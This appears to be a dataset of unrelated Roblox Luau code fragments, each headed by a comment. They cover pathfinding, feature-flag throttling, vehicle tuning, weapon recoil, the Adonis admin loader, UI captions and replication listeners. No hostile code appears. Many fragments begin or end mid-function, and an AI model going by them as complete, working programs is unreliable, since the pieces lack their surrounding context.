return self
end
function SchemaProcessor:CleanUp()
self.Maid:clean()
end
return SchemaProcessor
|
-- Configuration
|
local shakeMagnitude = 0.05 -- Magnitude of screen shake
local shakeDuration = 0.5 -- Duration of screen shake
local soundThreshold = 1 -- Minimum loudness of sound to trigger screen shake
|
-- Wait for torso (assume everything else will load at the same time)
|
waitFor( getCharacter(), "UpperTorso" );
|
-- game.Workspace.Points:ClearAllChildren()
-- local ps = path:GetPointCoordinates()
-- for _, point in pairs(ps) do
-- local part = Instance.new("Part", game.Workspace.Points)
-- part.CanCollide = false
-- part.Anchored = true
-- part.FormFactor = Enum.FormFactor.Custom
-- part.Size = Vector3.new(1,1,1)
-- part.Position = point
-- end
|
currentPointIndex = 1
lastTargetPos = target
end
if path then
local points = path:GetPointCoordinates()
if currentPointIndex < #points then
local currentPoint = points[currentPointIndex]
local distance = (character.Torso.Position - currentPoint).magnitude
if distance < NextPointThreshold then
currentPointIndex = currentPointIndex + 1
end
character.Humanoid:MoveTo(points[currentPointIndex])
if points[currentPointIndex].Y - character.Torso.Position.Y > JumpThreshold then
character.Humanoid.Jump = true
end
else
character.Humanoid:MoveTo(target)
end
end
end
return this
end
return PathfindingUtility
|
-- Helper function to throttle based on player Id:
|
function FlagSettings.ThrottleUserId(throttle, userId)
assert(type(throttle) == "number")
assert(type(userId) == "number")
-- Determine userRollout using last two digits of user ID:
-- (+1 to change range from 0-99 to 1-100 as 0 is off, 100 is full on):
local userRollout = (userId % 100) + 1
return userRollout <= throttle
end
function FlagSettings.IsShareGamePageEnabledByPlatform(platform)
if not FFlagSettingsHubBarsRefactor then
return false
end
local throttle
if platform == Enum.Platform.Windows then
throttle = FFlagSettingsHubInviteToGameWindows
elseif platform == Enum.Platform.OSX then
throttle = FFlagSettingsHubInviteToGameOSX
elseif platform == Enum.Platform.IOS then
throttle = FFlagSettingsHubInviteToGameIOS
elseif platform == Enum.Platform.Android then
throttle = FFlagSettingsHubInviteToGameAndroid
elseif platform == Enum.Platform.UWP then
throttle = FFlagSettingsHubInviteToGameUWP
end
local throttleNumber = tonumber(throttle)
if not throttleNumber then
return false
end
local userId = Players.LocalPlayer.UserId
return FlagSettings.ThrottleUserId(throttleNumber, userId)
end
return FlagSettings
|
--FLASH MODE--
--Signal1: Flashing Yellow
--Signal2: Flashing Red
|
while true do
script.Parent.Parent.SignalValues.Signal1.Value = 2
script.Parent.Parent.SignalValues.Signal1a.Value = 2
script.Parent.Parent.SignalValues.Signal2.Value = 0
script.Parent.Parent.SignalValues.Signal2a.Value = 0
script.Parent.Parent.TurnValues.TurnSignal1.Value = 2
script.Parent.Parent.TurnValues.TurnSignal1a.Value = 2
script.Parent.Parent.TurnValues.TurnSignal2.Value = 0
script.Parent.Parent.TurnValues.TurnSignal2a.Value = 0
script.Parent.Parent.PedValues.PedSignal1.Value = 0
script.Parent.Parent.PedValues.PedSignal1a.Value = 0
script.Parent.Parent.PedValues.PedSignal2.Value = 0
script.Parent.Parent.PedValues.PedSignal2a.Value = 0
wait(.5)
script.Parent.Parent.SignalValues.Signal1.Value = 0
script.Parent.Parent.SignalValues.Signal1a.Value = 0
script.Parent.Parent.SignalValues.Signal2.Value = 3
script.Parent.Parent.SignalValues.Signal2a.Value = 3
script.Parent.Parent.TurnValues.TurnSignal1.Value = 0
script.Parent.Parent.TurnValues.TurnSignal1a.Value = 0
script.Parent.Parent.TurnValues.TurnSignal2.Value = 3
script.Parent.Parent.TurnValues.TurnSignal2a.Value = 3
script.Parent.Parent.PedValues.PedSignal1.Value = 0
script.Parent.Parent.PedValues.PedSignal1a.Value = 0
script.Parent.Parent.PedValues.PedSignal2.Value = 0
script.Parent.Parent.PedValues.PedSignal2a.Value = 0
wait(.5)
end
|
--!strict
|
local LuauPolyfill = script.Parent.Parent
local types = require(LuauPolyfill.types)
type Array<T> = types.Array<T>
|
--[[ REQUIRED FOR RTRA RP SESSIONS!!! not having this script will cause your car to phase through the ground :^)
Drop in the main model where caradmin and anticollide is
obviously don't go fiddling with any of the script
--]]
|
script.Parent:WaitForChild("Wheels")
fronts = script.Parent.Wheels.FL.Size.Y
rears = script.Parent.Wheels.RR.Size.Y
function TireSetups(wheelname, wheel, which)
local tire = Instance.new("Part")
tire.Parent = script.Parent.Wheels:FindFirstChild(wheelname).Parts
tire.Name = "Rep"
tire.Shape = 0
tire.Anchored = true
tire.Size = wheel.Size - Vector3.new(0.4, 0.4, 0.4)
tire.CustomPhysicalProperties = PhysicalProperties.new(0.01, 0.2, 0.5, 100, 1)
tire.CFrame = CFrame.new(wheel.Position)
tire.CanCollide = true
tire.Transparency = 1
end
TireSetups(script.Parent.Wheels.FL.Name, script.Parent.Wheels.FL, fronts)
TireSetups(script.Parent.Wheels.FR.Name, script.Parent.Wheels.FR, fronts)
TireSetups(script.Parent.Wheels.RL.Name, script.Parent.Wheels.RL, rears)
TireSetups(script.Parent.Wheels.RR.Name, script.Parent.Wheels.RR, rears)
|
-- Create the player input event handler
|
Players.PlayerInputBegan:Connect(function(player, input)
-- Check if the player is pressing the fire button
if input.KeyCode == Enum.KeyCode.E then
-- Shoot at the nearest enemy
local nearestEnemy = nil
local nearestDistance = math.huge
for _, enemy in pairs(gameState.enemies) do
local distance = (enemy.Position - player.Character.HumanoidRootPart.Position).Magnitude
if distance < nearestDistance then
nearestEnemy = enemy
nearestDistance = distance
end
end
if nearestEnemy ~= nil then
-- Shoot at the enemy
nearestEnemy:TakeDamage(10)
end
end
end)
|
-- Captions
|
DEFAULT_FORCED_GROUP_VALUES["caption"] = 1
function Icon:setCaption(text)
assert(typeof(text) == "string" or text == nil, "Expected string, got "..typeof(text))
local realText = text or ""
local isVisible = realText ~= ""
self.captionText = text
self.instances.captionLabel.Text = realText
self.instances.captionContainer.Parent = (isVisible and activeItems) or self.instances.iconContainer
self._maid.captionContainer = self.instances.captionContainer
self:_updateIconSize(nil, self:getIconState())
local captionMaid = Maid.new()
self._maid.captionMaid = captionMaid
if isVisible then
captionMaid:give(self.hoverStarted:Connect(function()
if not self.isSelected then
self:displayCaption(true)
end
end))
captionMaid:give(self.hoverEnded:Connect(function()
self:displayCaption(false)
end))
captionMaid:give(self.selected:Connect(function()
if self.hovering then
self:displayCaption(false)
end
end))
local iconContainer = self.instances.iconContainer
captionMaid:give(iconContainer:GetPropertyChangedSignal("AbsoluteSize"):Connect(function()
if self.hovering then
self:displayCaption()
end
end))
captionMaid:give(iconContainer:GetPropertyChangedSignal("AbsolutePosition"):Connect(function()
if self.hovering then
self:displayCaption()
end
end))
end
-- This adapts the caption size
local CAPTION_X_MARGIN = 6
local CAPTION_CONTAINER_Y_SIZE_SCALE = 0.8
local CAPTION_LABEL_Y_SCALE = 0.58
local iconSize = self:get("iconSize")
local labelFont = self:get("captionFont")
if iconSize and labelFont then
local cellSizeYOffset = iconSize.Y.Offset
local cellSizeYScale = iconSize.Y.Scale
local iconContainer = self.instances.iconContainer
local captionContainer = self.instances.captionContainer
if isVisible then
local cellHeight = cellSizeYOffset + (cellSizeYScale * iconContainer.Parent.AbsoluteSize.Y)
local captionLabel = self.instances.captionLabel
local captionContainerHeight = cellHeight * CAPTION_CONTAINER_Y_SIZE_SCALE
local captionLabelHeight = captionContainerHeight * CAPTION_LABEL_Y_SCALE
local textWidth = textService:GetTextSize(self.captionText, captionLabelHeight, labelFont, Vector2.new(10000, captionLabelHeight)).X
captionLabel.TextSize = captionLabelHeight
captionLabel.Size = UDim2.new(0, textWidth, CAPTION_LABEL_Y_SCALE, 0)
captionContainer.Size = UDim2.new(0, textWidth + CAPTION_X_MARGIN*2, 0, cellHeight*CAPTION_CONTAINER_Y_SIZE_SCALE)
else
captionContainer.Size = UDim2.new(0, 0, 0, 0)
end
end
self:displayCaption(self.hovering and isVisible)
return self
end
function Icon:displayCaption(bool)
if userInputService.TouchEnabled and not self._draggingFinger then return end
local yOffset = 8
-- Determine caption position
if self._draggingFinger then
yOffset = yOffset + THUMB_OFFSET
end
local iconContainer = self.instances.iconContainer
local captionContainer = self.instances.captionContainer
local newPos = UDim2.new(0, iconContainer.AbsolutePosition.X+iconContainer.AbsoluteSize.X/2-captionContainer.AbsoluteSize.X/2, 0, iconContainer.AbsolutePosition.Y+(iconContainer.AbsoluteSize.Y*2)+yOffset)
captionContainer.Position = newPos
-- Determine caption visibility
local isVisible = self.captionVisible or false
if typeof(bool) == "boolean" then
isVisible = bool
end
self.captionVisible = isVisible
-- Change transparency of relavent caption instances
local captionFadeInfo = self:get("captionFadeInfo")
for _, settingName in pairs(self._groupSettings.caption) do
local settingDetail = self._settingsDictionary[settingName]
settingDetail.useForcedGroupValue = not isVisible
self:_update(settingName)
end
end
|
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,VRecoil = {16,20} --- Vertical Recoil
,HRecoil = {8,12} --- Horizontal Recoil
,AimRecover = .65 ---- Between 0 & 1
,RecoilPunch = .25
,VPunchBase = 3.75 --- Vertical Punch
,HPunchBase = 1.5 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.2
,MinRecoilPower = .75
,MaxRecoilPower = 3
,RecoilPowerStepAmount = .25
,MinSpread = 0.12 --- Min bullet spread value | Studs
,MaxSpread = 47 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = 1
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 2 --- Max sway value based on player stamina | Studs
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.Cupcake -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit)
if debounce == true then
if hit.Parent:FindFirstChild("Humanoid") then
local plr = game.Players:FindFirstChild(hit.Parent.Name)
if plr then
debounce = false
hitPart.BrickColor = BrickColor.new("Bright red")
tool:Clone().Parent = plr.Backpack
wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
debounce = true
hitPart.BrickColor = BrickColor.new("Bright green")
end
end
end
end)
|
-- Experimental Host Component support.
|
exports.enableFundamentalAPI = false
|
--!strict
--[=[
@function splice
@within Array
@param array {T} -- The array to splice.
@param start? number -- The index to start splicing at (can be negative).
@param end? number -- The index to end splicing at (can be negative).
@param ... ...T -- The values to insert.
@return {T} -- The spliced array.
Splices an array.
```lua
local array = { 1, 2, 3, 4, 5 }
local new = Splice(array, 3, 4, 6, 7) -- { 1, 2, 6, 7, 4, 5 }
local new = Splice(array, -1, 0, 6, 7) -- { 1, 2, 3, 4, 6, 7 }
local new = Splice(array, 4, -1, 6, 7) -- { 1, 2, 3, 6, 7, 5 }
```
]=]
|
local function splice<T>(array: { T }, from: number?, to: number?, ...: T?): { T }
local length = #array
local result = {}
from = if type(from) == "number" then from else 1
to = if type(to) == "number" then to else length
if from < 1 then
from += length
end
if to < 1 then
to += length
end
for index = 1, from - 1 do
table.insert(result, array[index])
end
for _, value in ipairs({ ... }) do
table.insert(result, value)
end
for index = to + 1, length do
table.insert(result, array[index])
end
return result
end
return splice
|
-- Update engine forces base on control input
|
function Engine:Update()
local c = self.Main.CFrame
local vel = self.Main.Velocity
local bz = c.lookVector
local by = c.upVector
local bx = c.rightVector
local speed = math.abs(vel:Dot(bz))
local stick_pitch = self.PitchInput
local stick_yaw = self.YawInput
local throttle = 1
local rev = EngineRate(throttle + minThrottle*(1 - throttle))
self.speed = self.Main.Velocity.magnitude
if self.BoostInput == -1 then
return
end
MotorSound.Volume = rev^(1/3)*0.4
MotorSound.PlaybackSpeed = rev
pitchFx.Octave = 1/(rev < 1e-4 and 1e-4 or rev)
local targetSpeed = ((self.BoostInput == 1 and self._BOOSTSPEED) or (self.BoostInput == 0 and self._SPEED) or 0)
self.Thruster.Velocity = c.lookVector*(targetSpeed*rev)*v3(1, 0.8, 1)
self.Steering.CFrame = cf(v3null, c.lookVector)*(EulerXYZ(0, stick_yaw*self._YAW, 0)*EulerXYZ(self._PITCH*stick_pitch, 0, stick_yaw*self._ROLL))
self.Steering.MaxTorque = v3(25, 25*abs(by.y), 25)*(speed/targetSpeed)^2
self.Steering.P = 3000*Clamp((speed/targetSpeed)^2/2 + 0.5, 0, 1)
self.Thruster.MaxForce = v3(100000, math.huge, 100000)
end -- Engine:Update()
|
--// Init
|
log("Return init function")
return service.NewProxy({
__call = function(self, data)
log("Begin init")
local remoteName, depsName = string.match(data.Name, "(.*)\\(.*)")
Folder = service.Wrap(data.Folder --[[or folder and folder:Clone()]] or Folder)
setfenv(1, setmetatable({}, { __metatable = unique }))
client.Folder = Folder
client.UIFolder = Folder:WaitForChild("UI", 9e9)
client.Shared = Folder:WaitForChild("Shared", 9e9)
client.Loader = data.Loader
client.Module = data.Module
client.DepsName = depsName
client.TrueStart = data.Start
client.LoadingTime = data.LoadingTime
client.RemoteName = remoteName
client.Typechecker = oldReq(service_UnWrap(client.Shared.Typechecker))
client.Changelog = oldReq(service_UnWrap(client.Shared.Changelog))
do
local MaterialIcons = oldReq(service_UnWrap(client.Shared.MatIcons))
client.MatIcons = setmetatable({}, {
__index = function(self, ind)
local materialIcon = MaterialIcons[ind]
if materialIcon then
self[ind] = "rbxassetid://" .. materialIcon
return self[ind]
end
end,
__metatable = "Adonis_MatIcons",
})
end
--// Toss deps into a table so we don't need to directly deal with the Folder instance they're in
log("Get dependencies")
for _, obj in Folder:WaitForChild("Dependencies", 9e9):GetChildren() do
client.Deps[obj.Name] = obj
end
--// Do this before we start hooking up events
log("Destroy script object")
--folder:Destroy()
script.Parent = nil --script:Destroy()
--// Intial setup
log("Initial services caching")
for _, serv in SERVICES_WE_USE do
local _ = service[serv]
end
--// Client specific service variables/functions
log("Add service specific")
ServiceSpecific.Player = service.Players.LocalPlayer
or (function()
service.Players:GetPropertyChangedSignal("LocalPlayer"):Wait()
return service.Players.LocalPlayer
end)()
ServiceSpecific.PlayerGui = ServiceSpecific.Player:FindFirstChildWhichIsA("PlayerGui")
if not ServiceSpecific.PlayerGui then
Routine(function()
local PlayerGui = ServiceSpecific.Player:WaitForChild("PlayerGui", 120)
if not PlayerGui then
logError("PlayerGui unable to be fetched? [Waited 120 Seconds]")
return
end
ServiceSpecific.PlayerGui = PlayerGui
end)
end
--[[
-- // Doesn't seem to be used anymore
ServiceSpecific.SafeTweenSize = function(obj, ...)
pcall(obj.TweenSize, obj, ...)
end;
ServiceSpecific.SafeTweenPos = function(obj, ...)
pcall(obj.TweenPosition, obj, ...)
end;
]]
ServiceSpecific.Filter = function(str, from, to)
return client.Remote.Get("Filter", str, (to and from) or service.Player, to or from)
end
ServiceSpecific.LaxFilter = function(str, from)
return service.Filter(str, from or service.Player, from or service.Player)
end
ServiceSpecific.BroadcastFilter = function(str, from)
return client.Remote.Get("BroadcastFilter", str, from or service.Player)
end
ServiceSpecific.IsMobile = function()
return service.UserInputService.TouchEnabled
and not service.UserInputService.MouseEnabled
and not service.UserInputService.KeyboardEnabled
end
ServiceSpecific.LocalContainer = function()
local Variables = client.Variables
if not (Variables.LocalContainer and Variables.LocalContainer.Parent) then
Variables.LocalContainer = service.New("Folder", {
Parent = workspace,
Name = "__ADONIS_LOCALCONTAINER_" .. client.Functions.GetRandom(),
})
end
return Variables.LocalContainer
end
ServiceSpecific.IncognitoPlayers = {}
--// Load Core Modules
log("Loading core modules")
for _, load in CORE_LOADING_ORDER do
local modu = Folder.Core:FindFirstChild(load)
if modu then
log("~! Loading Core Module: " .. tostring(load))
LoadModule(modu, true, { script = script }, true)
end
end
--// Start of module loading and server connection process
local runLast = {}
local runAfterInit = {}
local runAfterLoaded = {}
local runAfterPlugins = {}
--// Loading Finisher
client.Finish_Loading = function()
log("Client fired finished loading")
if client.Core.Key then
--// Run anything from core modules that needs to be done after the client has finished loading
log("~! Doing run after loaded")
for _, f in runAfterLoaded do
Pcall(f, data)
end
--// Stuff to run after absolutely everything else
log("~! Doing run last")
for _, f in runLast do
Pcall(f, data)
end
--// Finished loading
log("Finish loading")
clientLocked = true
client.Finish_Loading = function() end
client.LoadingTime() --origWarn(tostring(time()-(client.TrueStart or startTime)))
service.Events.FinishedLoading:Fire(os.time())
log("~! FINISHED LOADING!")
else
log("Client missing remote key")
client.Kill()("Missing remote key")
end
end
--// Initialize Cores
log("~! Init cores")
for _, name in CORE_LOADING_ORDER do
local core = client[name]
log("~! INIT: " .. tostring(name))
if core then
if type(core) == "table" or (type(core) == "userdata" and getmetatable(core) == "ReadOnly_Table") then
if core.RunLast then
table.insert(runLast, core.RunLast)
core.RunLast = nil
end
if core.RunAfterInit then
table.insert(runAfterInit, core.RunAfterInit)
core.RunAfterInit = nil
end
if core.RunAfterPlugins then
table.insert(runAfterPlugins, core.RunAfterPlugins)
core.RunAfterPlugins = nil
end
if core.RunAfterLoaded then
table.insert(runAfterLoaded, core.RunAfterLoaded)
core.RunAfterLoaded = nil
end
if core.Init then
log("Run init for " .. tostring(name))
Pcall(core.Init, data)
core.Init = nil
end
end
end
end
--// Load any afterinit functions from modules (init steps that require other modules to have finished loading)
log("~! Running after init")
for _, f in runAfterInit do
Pcall(f, data)
end
--// Load Plugins
log("~! Running plugins")
for _, module in Folder.Plugins:GetChildren() do
--// Pass example/README plugins.
if module.Name == "README" then
continue
end
LoadModule(module, false, { script = module }) --noenv
end
--// We need to do some stuff *after* plugins are loaded (in case we need to be able to account for stuff they may have changed before doing something, such as determining the max length of remote commands)
log("~! Running after plugins")
for _, f in runAfterPlugins do
Pcall(f, data)
end
log("Initial loading complete")
--// Below can be used to determine when all modules and plugins have finished loading; service.Events.AllModulesLoaded:Connect(function() doSomething end)
client.AllModulesLoaded = true
service.Events.AllModulesLoaded:Fire(os.time())
--[[client = service.ReadOnly(client, {
[client.Variables] = true;
[client.Handlers] = true;
G_API = true;
G_Access = true;
G_Access_Key = true;
G_Access_Perms = true;
Allowed_API_Calls = true;
HelpButtonImage = true;
Finish_Loading = true;
RemoteEvent = true;
ScriptCache = true;
Returns = true;
PendingReturns = true;
EncodeCache = true;
DecodeCache = true;
Received = true;
Sent = true;
Service = true;
Holder = true;
GUIs = true;
LastUpdate = true;
RateLimits = true;
Init = true;
RunAfterInit = true;
RunAfterLoaded = true;
RunAfterPlugins = true;
}, true)--]]
service.Events.ClientInitialized:Fire()
log("~! Return success")
return "SUCCESS"
end,
__metatable = "Adonis",
__tostring = function()
return "Adonis"
end,
})
|
-- LOCAL
|
local starterGui = game:GetService("StarterGui")
local guiService = game:GetService("GuiService")
local hapticService = game:GetService("HapticService")
local runService = game:GetService("RunService")
local userInputService = game:GetService("UserInputService")
local tweenService = game:GetService("TweenService")
local players = game:GetService("Players")
local voiceChatService = game:GetService("VoiceChatService")
local localPlayer = players.LocalPlayer
local IconController = {}
local replicatedStorage = game:GetService("ReplicatedStorage")
local Signal = require(script.Parent.Signal)
local TopbarPlusGui = require(script.Parent.TopbarPlusGui)
local topbarIcons = {}
local fakeChatName = "_FakeChat"
local forceTopbarDisabled = false
local menuOpen
local topbarUpdating = false
local cameraConnection
local controllerMenuOverride
local isStudio = runService:IsStudio()
local isVoiceChatEnabled = false
local STUPID_CONTROLLER_OFFSET = 32
|
--local ClickerModule = require(343254562)
--local clickEvent = ClickerModule.RemoteEvent
|
local interactiveParts = {}
local activationDistance = 12
local flushing = false
local water = script.Parent.Parent.Water
local sound = script.Parent.Parent.ToiletBowl.Sound
sound.TimePosition = 0.05
sound:Play()
wait(0.67)
for i, v in pairs(script.Parent.Parent:GetChildren()) do
if v.Name == "WaterSwirl" then
v.ParticleEmitter.Transparency = NumberSequence.new(0.9)
v.ParticleEmitter.Rate = 500
end
end
for i = 1, 10 do
water.CFrame = water.CFrame * CFrame.new(0, 0.003, 0)
wait()
end
wait(7)
for i = 1, 130 do
water.Mesh.Scale = water.Mesh.Scale + Vector3.new(-0.003, 0, -0.003)
water.CFrame = water.CFrame * CFrame.new(0, -0.003, 0)
wait()
end
wait(0.2)
for i, v in pairs(script.Parent.Parent:GetChildren()) do
if v.Name == "WaterSwirl" then
v.ParticleEmitter.Rate = 0
end
end
wait()
if script.Parent.Parent.ToiletUsed.Value == true then
water.BrickColor = BrickColor.new("Pastel yellow")
end
wait(0)
for i = 1, 10 do
for ii, v in pairs(script.Parent.Parent:GetChildren()) do
if v.Name == "WaterSwirl" then
v.ParticleEmitter.Transparency = NumberSequence.new(0.9 + (0.015 * i))
if i == 10 then
v.ParticleEmitter.Rate = 0
end
end
end
wait(0.2)
end
script.Parent.Parent.ToiletUsed.Value = false
water.BrickColor = BrickColor.new("Fog")
for i = 1, 370 do
water.Mesh.Scale = water.Mesh.Scale + Vector3.new(0.001, 0, 0.001)
water.CFrame = water.CFrame * CFrame.new(0, 0.001, 0)
wait()
end
water.CFrame = script.Parent.Parent.WaterResetPos.CFrame
water.Mesh.Scale = Vector3.new(1,0,1)
flushing = false
script.Disabled = true
|
--Ban players across different servers
|
local banConnection = ms:SubscribeAsync(banTopic, function(message)
local targetId = message.Data[1]
local banMessage = message.Data[2]
for i, plr in pairs(game.Players:GetPlayers()) do
if plr.UserId == targetId then
plr:Kick(banMessage)
end
end
end)
|
-- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
|
local anim = animTable[animName][idx].anim
-- load it to the humanoid; get AnimationTrack
toolAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
toolAnimTrack:Play(transitionTime)
toolAnimName = animName
currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
end
end
function stopToolAnimations()
local oldAnim = toolAnimName
if currentToolAnimKeyframeHandler then
currentToolAnimKeyframeHandler:disconnect()
end
toolAnimName = ""
if toolAnimTrack then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
toolAnimTrack = nil
end
return oldAnim
end
|
--////////////////////////////// Include
--//////////////////////////////////////
|
local ChatConstants = require(ReplicatedModules:WaitForChild("ChatConstants"))
local ChatChannel = require(modulesFolder:WaitForChild("ChatChannel"))
local Speaker = require(modulesFolder:WaitForChild("Speaker"))
local Util = require(modulesFolder:WaitForChild("Util"))
local ChatLocalization = nil
|
--Made by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
RunService = game:GetService("RunService")
UserInputService = game:GetService("UserInputService")
Animations = {}
ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")
InputCheck = Instance.new("ScreenGui")
InputCheck.Name = "InputCheck"
InputButton = Instance.new("ImageButton")
InputButton.Name = "InputButton"
InputButton.Image = ""
InputButton.BackgroundTransparency = 1
InputButton.ImageTransparency = 1
InputButton.Size = UDim2.new(1, 0, 1, 0)
InputButton.Parent = InputCheck
Rate = (1 / 60)
ToolEquipped = false
function SetAnimation(mode, value)
if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
for i, v in pairs(Animations) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop()
table.remove(Animations, i)
end
end
local AnimationTrack = Humanoid:LoadAnimation(value.Animation)
table.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack})
AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed)
elseif mode == "StopAnimation" and value then
for i, v in pairs(Animations) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop(value.FadeTime)
table.remove(Animations, i)
end
end
end
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false)
end
function Equipped(Mouse)
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
ToolEquipped = true
if not CheckIfAlive() then
return
end
Spawn(function()
PlayerMouse = Mouse
Mouse.Button1Down:connect(function()
InvokeServer("Button1Click", {Down = true})
end)
Mouse.Button1Up:connect(function()
InvokeServer("Button1Click", {Down = false})
end)
Mouse.KeyDown:connect(function(Key)
InvokeServer("KeyPress", {Key = Key, Down = true})
end)
Mouse.KeyUp:connect(function(Key)
InvokeServer("KeyPress", {Key = Key, Down = false})
end)
local PlayerGui = Player:FindFirstChild("PlayerGui")
if PlayerGui then
if UserInputService.TouchEnabled then
InputCheckClone = InputCheck:Clone()
InputCheckClone.InputButton.InputBegan:connect(function()
InvokeServer("Button1Click", {Down = true})
end)
InputCheckClone.InputButton.InputEnded:connect(function()
InvokeServer("Button1Click", {Down = false})
end)
InputCheckClone.Parent = PlayerGui
end
end
end)
end
function Unequipped()
if InputCheckClone and InputCheckClone.Parent then
InputCheckClone:Destroy()
end
for i, v in pairs(Animations) do
if v and v.AnimationTrack then
v.AnimationTrack:Stop()
end
end
Animations = {}
ToolEquipped = false
end
function InvokeServer(mode, value)
pcall(function()
local ServerReturn = ServerControl:InvokeServer(mode, value)
return ServerReturn
end)
end
function OnClientInvoke(mode, value)
if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
SetAnimation("PlayAnimation", value)
elseif mode == "StopAnimation" and value then
SetAnimation("StopAnimation", value)
elseif mode == "PlaySound" and value then
value:Play()
elseif mode == "StopSound" and value then
value:Stop()
elseif mode == "MousePosition" then
return ((PlayerMouse and {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}) or nil)
end
end
ClientControl.OnClientInvoke = OnClientInvoke
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--[[Brakes]]
|
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 2100 -- Front brake force
Tune.RBrakeForce = 2000 -- Rear brake force
Tune.PBrakeForce = 5000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
--[=[
@within RemoteSignal
@interface Connection
.Disconnect () -> nil
.Connected boolean
]=]
|
function RemoteSignal.new(
parent: Instance,
name: string,
inboundMiddleware: Types.ServerMiddleware?,
outboundMiddleware: Types.ServerMiddleware?
)
local self = setmetatable({}, RemoteSignal)
self._re = Instance.new("RemoteEvent")
self._re.Name = name
self._re.Parent = parent
if outboundMiddleware and #outboundMiddleware > 0 then
self._hasOutbound = true
self._outbound = outboundMiddleware
else
self._hasOutbound = false
end
if inboundMiddleware and #inboundMiddleware > 0 then
self._directConnect = false
self._signal = Signal.new()
self._re.OnServerEvent:Connect(function(player, ...)
local args = table.pack(...)
for _, middlewareFunc in ipairs(inboundMiddleware) do
local middlewareResult = table.pack(middlewareFunc(player, args))
if not middlewareResult[1] then
return
end
args.n = #args
end
self._signal:Fire(player, table.unpack(args, 1, args.n))
end)
else
self._directConnect = true
end
return self
end
|
-- Listening:
|
function Replica:ListenToChange(path, listener) --> [ScriptConnection] listener(new_value)
if type(listener) ~= "function" then
error("[ReplicaController]: Only a function can be set as listener in Replica:ListenToChange()")
end
local path_array = (type(path) == "string") and StringPathToArray(path) or path
if #path_array < 1 then
error("[ReplicaController]: Passed empty path - a value key must be specified")
end
-- Getting listener table for given path:
local listeners = CreateTableListenerPathIndex(self, path_array, 2)
table.insert(listeners, listener)
-- ScriptConnection which allows the disconnection of the listener:
return Madwork.NewArrayScriptConnection(listeners, listener, CleanTableListenerTable, {self._table_listeners, path_array})
end
function Replica:ListenToNewKey(path, listener) --> [ScriptConnection] listener(new_value, new_key)
if type(listener) ~= "function" then
error("[ReplicaController]: Only a function can be set as listener in Replica:ListenToNewKey()")
end
local path_array = (type(path) == "string") and StringPathToArray(path) or path
-- Getting listener table for given path:
local listeners = CreateTableListenerPathIndex(self, path_array, 3)
table.insert(listeners, listener)
-- ScriptConnection which allows the disconnection of the listener:
if #path_array == 0 then
return Madwork.NewArrayScriptConnection(listeners, listener)
else
return Madwork.NewArrayScriptConnection(listeners, listener, CleanTableListenerTable, {self._table_listeners, path_array})
end
end
function Replica:ListenToArrayInsert(path, listener) --> [ScriptConnection] listener(new_value, new_index)
if type(listener) ~= "function" then
error("[ReplicaController]: Only a function can be set as listener in Replica:ListenToArrayInsert()")
end
local path_array = (type(path) == "string") and StringPathToArray(path) or path
-- Getting listener table for given path:
local listeners = CreateTableListenerPathIndex(self, path_array, 4)
table.insert(listeners, listener)
-- ScriptConnection which allows the disconnection of the listener:
if #path_array == 0 then
return Madwork.NewArrayScriptConnection(listeners, listener)
else
return Madwork.NewArrayScriptConnection(listeners, listener, CleanTableListenerTable, {self._table_listeners, path_array})
end
end
function Replica:ListenToArraySet(path, listener) --> [ScriptConnection] listener(new_value, index)
if type(listener) ~= "function" then
error("[ReplicaController]: Only a function can be set as listener in Replica:ListenToArraySet()")
end
local path_array = (type(path) == "string") and StringPathToArray(path) or path
-- Getting listener table for given path:
local listeners = CreateTableListenerPathIndex(self, path_array, 5)
table.insert(listeners, listener)
-- ScriptConnection which allows the disconnection of the listener:
if #path_array == 0 then
return Madwork.NewArrayScriptConnection(listeners, listener)
else
return Madwork.NewArrayScriptConnection(listeners, listener, CleanTableListenerTable, {self._table_listeners, path_array})
end
end
function Replica:ListenToArrayRemove(path, listener) --> [ScriptConnection] listener(old_value, old_index)
if type(listener) ~= "function" then
error("[ReplicaController]: Only a function can be set as listener in Replica:ListenToArrayRemove()")
end
local path_array = (type(path) == "string") and StringPathToArray(path) or path
-- Getting listener table for given path:
local listeners = CreateTableListenerPathIndex(self, path_array, 6)
